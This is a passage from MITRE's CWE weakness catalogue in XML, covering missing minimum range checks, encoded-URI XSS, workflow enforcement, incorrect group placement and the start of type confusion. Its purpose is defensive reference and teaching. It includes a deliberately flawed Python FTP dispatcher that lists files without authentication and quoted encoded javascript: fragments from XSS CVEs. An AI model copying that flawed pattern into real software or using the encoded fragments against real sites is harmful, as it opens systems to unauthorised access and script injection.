               <Body_Text>The withdraw method includes a check to ensure that the withdrawal amount does not exceed the maximum limit allowed, however the method does not check to ensure that the withdrawal amount is greater than a minimum value (CWE-129). Performing a range check on a value that does not include a minimum check can have significant security implications, in this case not including a minimum range check can allow a negative value to be used which would cause the financial application using this class to deposit money into the user account rather than withdrawing. In this example the if statement should the modified to include a minimum range check, as shown below.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public class BankAccount {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>public final int MINIMUM_WITHDRAWAL_LIMIT = 0;<xhtml:br/>public final int MAXIMUM_WITHDRAWAL_LIMIT = 350;<xhtml:br/>
                           <xhtml:br/>...<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// method to withdraw amount from BankAccount</xhtml:i>
                           <xhtml:br/>public void withdraw(double withdrawAmount) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>if (withdrawAmount &lt; MAXIMUM_WITHDRAWAL_LIMIT &amp;&amp;<xhtml:br/>withdrawAmount &gt; MINIMUM_WITHDRAWAL_LIMIT) {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>...</xhtml:div>
                                 </xhtml:div>
                              </xhtml:div>
                           </xhtml:div>
                        </xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>Note that this example does not protect against concurrent access to the BankAccount balance variable, see CWE-413 and CWE-362.</Body_Text>
               <Body_Text>While it is out of scope for this example, note that the use of doubles or floats in financial calculations may be subject to certain kinds of attacks where attackers use rounding errors to steal money.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2010-1866</Reference>
               <Description>Chain: integer overflow causes a negative signed value, which later bypasses a maximum-only check, leading to heap-based buffer overflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-1866</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1099</Reference>
               <Description>Chain: 16-bit counter can be interpreted as a negative value, compared to a 32-bit maximum value, leading to buffer under-write.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1099</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2011-0521</Reference>
               <Description>Chain: kernel's lack of a check for a negative value leads to memory corruption.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-0521</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-3704</Reference>
               <Description>Chain: parser uses atoi() but does not check for a negative value, which can happen on some platforms, leading to buffer under-write.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-3704</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-2530</Reference>
               <Description>Chain: Negative value stored in an int bypasses a size check and causes allocation of large amounts of memory.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-2530</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3080</Reference>
               <Description>Chain: negative offset value to IOCTL bypasses check for maximum index, then used as an array index for buffer under-read.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3080</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-6393</Reference>
               <Description>chain: file transfer client performs signed comparison, leading to integer overflow and heap-based buffer overflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-6393</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4558</Reference>
               <Description>chain: negative ID in media player bypasses check for maximum index, then used as an array index for buffer under-read.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4558</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 6, &#34;Type Conversion Vulnerabilities&#34; Page 246"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 6, &#34;Comparisons&#34;, Page 265"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-03-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="84" Name="Improper Neutralization of Encoded URI Schemes in a Web Page" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The web application improperly neutralizes user-controlled input for executable script disguised with URI encodings.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="79" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Resolve all URIs to absolute or canonical representations before processing.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-30.1">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>
                  <xhtml:p>Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.</xhtml:p>
                  <xhtml:p>The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-43">
               <Phase>Implementation</Phase>
               <Description>With Struts, write all data from form beans with the bean's filter attribute set to true.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-31">
               <Phase>Implementation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.</Description>
               <Effectiveness>Defense in Depth</Effectiveness>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-0563</Reference>
               <Description>Cross-site scripting (XSS) vulnerability in Microsoft Outlook Web Access (OWA) component in Exchange Server 5.5 allows remote attackers to inject arbitrary web script or HTML via an email message with an encoded javascript: URL ("jav&amp;#X41sc&amp;#0010;ript:") in an IMG tag.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0563</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2276</Reference>
               <Description>Cross-site scripting (XSS) vulnerability in Novell Groupwise WebAccess 6.5 before July 11, 2005 allows remote attackers to inject arbitrary web script or HTML via an e-mail message with an encoded javascript URI (e.g. "j&amp;#X41vascript" in an IMG tag).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2276</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0692</Reference>
               <Description>Encoded script within BBcode IMG tag.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0692</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0117</Reference>
               <Description>Encoded "javascript" in IMG tag.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0117</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0118</Reference>
               <Description>Encoded "javascript" in IMG tag.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0118</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>XSS using Script Via Encoded URI Schemes</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Name, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">XSS using Script Via Encoded URI Schemes</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-06-21">Failure to Resolve Encoded URI Schemes in a Web Page</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="841" Name="Improper Enforcement of Behavioral Workflow" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product supports a session in which more than one behavior must be performed by an actor, but it does not properly ensure that the actor performs the behaviors in the required sequence.</Description>
         <Extended_Description>
            <xhtml:p>By performing actions in an unexpected order, or by omitting steps, an attacker could manipulate the business logic of the product or cause it to enter an invalid state. In some cases, this can also expose resultant weaknesses.</xhtml:p>
            <xhtml:p>For example, a file-sharing protocol might require that an actor perform separate steps to provide a username, then a password, before being able to transfer files. If the file-sharing server accepts a password command followed by a transfer command, without any username being provided, the product might still perform the transfer.</xhtml:p>
            <xhtml:p>Note that this is different than CWE-696, which focuses on when the product performs actions in the wrong sequence; this entry is closely related, but it is focused on ensuring that the actor performs actions in the correct sequence.</xhtml:p>
            <xhtml:p>Workflow-related behaviors include:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>Steps are performed in the expected order.</xhtml:li>
                  <xhtml:li>Required steps are not omitted.</xhtml:li>
                  <xhtml:li>Steps are not interrupted.</xhtml:li>
                  <xhtml:li>Steps are performed in a timely fashion.</xhtml:li>
               </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="691" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Alter Execution Logic</Impact>
               <Note>An attacker could cause the product to skip critical steps or perform them in the wrong order, bypassing its intended business logic. This can sometimes have security implications.</Note>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This code is part of an FTP server and deals with various commands that could be sent by a user. It is intended that a user must successfully login before performing any other action such as retrieving or listing files.</Intro_Text>
               <Example_Code Nature="Bad" Language="Python">
                  <xhtml:div>def dispatchCommand(command, user, args):<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if command == 'Login':<xhtml:div style="margin-left:1em;">loginUser(args)<xhtml:br/>return</xhtml:div>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i># user has requested a file</xhtml:i>
                           <xhtml:br/>if command == 'Retrieve_file':
			   <xhtml:div style="margin-left:1em;">
			   if authenticated(user) and ownsFile(user,args):
			   <xhtml:br/>
			   <xhtml:div style="margin-left:1em;">sendFile(args)<xhtml:br/>return</xhtml:div>
			   </xhtml:div>
                           <xhtml:br/>if command == 'List_files':<xhtml:div style="margin-left:1em;">listFiles(args)<xhtml:br/>return</xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>...</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>The server correctly avoids sending files to a user that isn't logged in and doesn't own the file. However, the server will incorrectly list the files in any directory without confirming the command came from an authenticated user, and that the user is authorized to see the directory's contents.</Body_Text>
               <Body_Text>Here is a fixed version of the above example:</Body_Text>
               <Example_Code Nature="Good" Language="Python">
                  <xhtml:div>def dispatchCommand(command, user, args):<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>...</xhtml:i>
                           <xhtml:br/>if command == 'List_files':<xhtml:div style="margin-left:1em;">if authenticated(user) and ownsDirectory(user,args):<xhtml:div style="margin-left:1em;">listFiles(args)<xhtml:br/>return</xhtml:div>
                           </xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>...</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2011-0348</Reference>
               <Description>Bypass of access/billing restrictions by sending traffic to an unrestricted destination before sending to a restricted destination.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-0348</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-3012</Reference>
               <Description>Attacker can access portions of a restricted page by canceling out of a dialog.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-3012</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-5056</Reference>
               <Description>Ticket-tracking system does not enforce a permission setting.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-5056</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2164</Reference>
               <Description>Shopping cart does not close a database connection when user restores a previous order, leading to connection exhaustion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2164</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0777</Reference>
               <Description>Chain: product does not properly handle dropped connections, leading to missing NULL terminator (CWE-170) and segmentation fault.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0777</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3327</Reference>
               <Description>Chain: Authentication bypass by skipping the first startup step as required by the protocol.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3327</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0829</Reference>
               <Description>Chain: File server crashes when sent a "find next" request without an initial "find first."</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0829</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-2620</Reference>
               <Description>FTP server allows remote attackers to bypass authentication by sending (1) LIST, (2) RETR, (3) STOR, or other commands without performing the required login steps first.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-2620</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3296</Reference>
               <Description>FTP server allows remote attackers to list arbitrary directories as root by running the LIST command before logging in.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3296</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>40</Entry_ID>
               <Entry_Name>Insufficient Process Validation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-795"/>
            <Reference External_Reference_ID="REF-796"/>
            <Reference External_Reference_ID="REF-797"/>
            <Reference External_Reference_ID="REF-806"/>
            <Reference External_Reference_ID="REF-799"/>
            <Reference External_Reference_ID="REF-667"/>
            <Reference External_Reference_ID="REF-801"/>
            <Reference External_Reference_ID="REF-802" Section="pages 29 - 41"/>
         </References>
         <Notes>
            <Note Type="Research Gap">
               <xhtml:p>This weakness is typically associated with business logic flaws, except when it produces resultant weaknesses.</xhtml:p>
               <xhtml:p>The classification of business logic flaws has been under-studied, although exploitation of business flaws frequently happens in real-world systems, and many applied vulnerability researchers investigate them. The greatest focus is in web applications. There is debate within the community about whether these problems represent particularly new concepts, or if they are variations of well-known principles.</xhtml:p>
               <xhtml:p>Many business logic flaws appear to be oriented toward business processes, application flows, and sequences of behaviors, which are not as well-represented in CWE as weaknesses related to input validation, memory management, etc.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-03-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Observed_Examples, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
		<Contribution Type="Feedback">
		  <Contribution_Name>Anonymous External Contributor</Contribution_Name>
		  <Contribution_Date>2021-11-11</Contribution_Date>
		  <Contribution_Comment>Reported an error in a demonstrative example</Contribution_Comment>
		</Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="842" Name="Placement of User into Incorrect Group" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product or the administrator places a user into an incorrect group.</Description>
         <Extended_Description>If the incorrect group has more access or privileges than the intended group, the user might be able to bypass intended security policy to access unexpected resources or perform unexpected actions. The access-control system might not be able to detect malicious usage of this group membership.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="286" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-1999-1193</Reference>
               <Description>Operating system assigns user to privileged wheel group, allowing the user to gain root privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1193</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-3716</Reference>
               <Description>Chain: drafted web request allows the creation of users with arbitrary group membership.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-3716</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5397</Reference>
               <Description>Chain: improper processing of configuration options causes users to contain unintended group memberships.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5397</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-6644</Reference>
               <Description>CMS does not prevent remote administrators from promoting other users to the administrator group, in violation of the intended security model.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-6644</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-3260</Reference>
               <Description>Product assigns members to the root group, allowing escalation of privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-3260</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0080</Reference>
               <Description>Chain: daemon does not properly clear groups before dropping privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0080</Link>
            </Observed_Example>
         </Observed_Examples>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-03-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="843" Name="Access of Resource Using Incompatible Type ('Type Confusion')" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.</Description>
         <Extended_Description>
            <xhtml:p>When the product accesses the resource using an incompatible type, this could trigger logical errors because the resource does not have expected properties. In languages without memory safety, such as C and C++, type confusion can lead to out-of-bounds memory access.</xhtml:p>
            <xhtml:p>While this weakness is frequently associated with unions when parsing data with many different embedded object types in C, it can be present in any application that can interpret the same variable or memory location in multiple ways.</xhtml:p>
            <xhtml:p>This weakness is not unique to C and C++. For example, errors in PHP applications can be triggered by providing array parameters when scalars are expected, or vice versa. Languages such as Perl, which perform automatic conversion of a variable of one type when it is accessed as if it were another type, can also contain these issues.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="704" View_ID="1000" Ordinal="Primary"/>
